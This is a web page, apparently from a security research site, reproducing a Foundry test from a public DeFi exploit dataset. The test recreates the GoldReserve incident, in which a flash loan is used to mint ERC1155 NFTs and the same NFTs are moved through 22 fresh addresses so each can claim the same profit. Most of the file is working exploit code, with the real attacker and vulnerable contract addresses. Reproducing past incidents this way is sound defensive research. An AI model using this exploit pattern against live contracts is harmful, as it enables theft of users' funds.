Public reproduction file
src/test/2025-02/GoldReserve_exp.sol
Public reproduction file for dataset entry GoldReserve.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 12.74 BNB8// Attacker : 0xfBE2CF822e1361FB74421E2a0bD9844A48932cE29// Attack Contract : 0x3Fc424f13BE05D4F261877a4a9B9963C0222281510// Vulnerable Contract : 0x7c77576a2b48504EBD9fF0810D799651f68742d311// Attack Tx : https://bscscan.com/tx/0x79c2e41b10462d374f21ecd4da048029cc71692e0c9ef275d4aad228e6f8afe012//13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x7c77576a2b48504EBD9fF0810D799651f68742d3#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/43418//19// GoldReserve tracked claimed profit by address while entitlement was calculated from the20// caller's current ERC1155 balance. The attacker minted NFTs after a profit deposit, then21// moved the same NFTs through fresh addresses so each address could claim the same profit.23address constant ATTACKER = 0xfBE2CF822e1361FB74421E2a0bD9844A48932cE2;24address constant ATTACK_CONTRACT = 0x3Fc424f13BE05D4F261877a4a9B9963C02222815;25address constant VULNERABLE_CONTRACT = 0x7c77576a2b48504EBD9fF0810D799651f68742d3;26address constant PANCAKE_V3_POOL = 0x172fcD41E0913e95784454622d1c3724f546f849;27address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;29interface IGoldReserve {30 function mintPrice() external view returns (uint256);31 function depositProfit() external payable;32 function mint(33 uint256 id,34 uint256 amount35 ) external payable;36 function claimProfit() external;37 function safeTransferFrom(38 address from,39 address to,40 uint256 id,41 uint256 value,42 bytes calldata data43 ) external;44}46contract ContractTest is BaseTestWithBalanceLog {47 IGoldReserve private constant goldReserve = IGoldReserve(VULNERABLE_CONTRACT);48 IPancakeV3Pool private constant flashPool = IPancakeV3Pool(PANCAKE_V3_POOL);49 IWBNB private constant wbnb = IWBNB(payable(WBNB_TOKEN));51 uint256 private flashAmount;53 function setUp() public {54 uint256 forkBlock = 46_278_330;55 vm.createSelectFork("bsc", forkBlock);57 fundingToken = address(0);58 vm.label(ATTACKER, "Attacker");59 vm.label(ATTACK_CONTRACT, "Attack Contract");60 vm.label(VULNERABLE_CONTRACT, "GoldReserve");61 vm.label(PANCAKE_V3_POOL, "Pancake V3 WBNB Pool");62 vm.label(WBNB_TOKEN, "WBNB");63 }65 function testExploit() public balanceLog {66 // step 1: flash-borrow the WBNB needed to seed GoldReserve's profit pool and mint NFTs.67 flashAmount = 120 ether;68 uint256 balanceBefore = address(this).balance;69 flashPool.flash(address(this), 0, flashAmount, "");71 // step 4: after repaying the flash loan, the repeated claims leave native BNB profit.72 assertGt(address(this).balance - balanceBefore, 12 ether);73 }75 function pancakeV3FlashCallback(76 uint256,77 uint256 fee1,78 bytes calldata79 ) external {80 require(msg.sender == PANCAKE_V3_POOL, "pool only");82 uint256 nftId = 10;83 uint256 nftAmount = 8;85 // step 2: unwrap the flash loan, deposit stale profit, then mint NFTs that inherit it.86 wbnb.withdraw(flashAmount);87 uint256 mintCost = goldReserve.mintPrice() * nftAmount;88 goldReserve.depositProfit{value: flashAmount - mintCost}();89 address holder = _holder(0);90 payable(holder).transfer(mintCost);91 vm.prank(holder);92 goldReserve.mint{value: mintCost}(nftId, nftAmount);94 // step 3: claim once, then move the same NFTs through fresh holder addresses and claim again.95 _claimAndSweep(holder);96 for (uint256 i = 0; i < 21; i++) {97 address nextHolder = _holder(i + 1);98 vm.prank(holder);99 goldReserve.safeTransferFrom(holder, nextHolder, nftId, nftAmount, "");100 _claimAndSweep(nextHolder);101 holder = nextHolder;102 }104 address finalHolder = _holder(100);105 vm.prank(holder);106 goldReserve.safeTransferFrom(holder, finalHolder, nftId, 1, "");107 _claimAndSweep(finalHolder);109 uint256 repayAmount = flashAmount + fee1;110 wbnb.deposit{value: repayAmount}();111 wbnb.transfer(PANCAKE_V3_POOL, repayAmount);112 }114 function _holder(115 uint256 index116 ) private pure returns (address) {117 return address(uint160(uint256(keccak256(abi.encodePacked("GoldReserve holder", index)))));118 }120 function _claimAndSweep(121 address holder122 ) private {123 vm.prank(holder);124 goldReserve.claimProfit();126 uint256 claimed = holder.balance;127 if (claimed > 0) {128 vm.prank(holder);129 (bool success,) = payable(address(this)).call{value: claimed}("");130 require(success, "sweep failed");131 }132 }134 receive() external payable {}135}Analysis
Dataset entry
Public Foundry test for “GoldReserve” (2025-02-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-02/Bybit_exp.solSame month in the dataset · 308 lines
- src/test/2025-02/FourMeme_exp.solSame month in the dataset · 245 lines
- src/test/2025-02/GMT7_exp.solSame month in the dataset · 86 lines
- src/test/2025-02/HegicOptions_exp.solSame month in the dataset · 70 lines
- src/test/2025-02/HenloKart_exp.solSame month in the dataset · 80 lines
- src/test/2025-02/INVISTECH_exp.solSame month in the dataset · 137 lines
- src/test/2025-02/LimitOrderProtocol_exp.solSame month in the dataset · 71 lines
- src/test/2025-02/PeapodsFinance_exp.solSame month in the dataset · 104 lines
- src/test/2025-02/Scorch_exp.solSame month in the dataset · 115 lines
- src/test/2025-02/StepHeroNFTs_exp.solSame month in the dataset · 111 lines
- src/test/2025-02/unverified_35bc_exp.solSame month in the dataset · 91 lines
- src/test/2025-02/unverified_d4f1_exp.solSame month in the dataset · 57 lines
- src/test/2025-02/Venus_ZKSync_exp.solSame month in the dataset · 221 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xfbe2cf822e1361fb74421e2a0bd9844a48932ce2
- Attack Contract
0x3fc424f13be05d4f261877a4a9b9963c02222815
- Vulnerable Contract
0x7c77576a2b48504ebd9ff0810d799651f68742d3
- Attack Tx
0x79c2e41b10462d374f21ecd4da048029cc71692e0c9ef275d4aad228e6f8afe0
File record
- Name
- GoldReserve
- Path
- src/test/2025-02/GoldReserve_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 978cb27de71e364dcb7ffe1b4752d30c65ea2c53
- Language
- Solidity
- Size
- 136 lines
- Date
- 2025-02-01
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-02/GoldReserve_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 978cb27de71e364dcb7ffe1b4752d30c65ea2c53, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.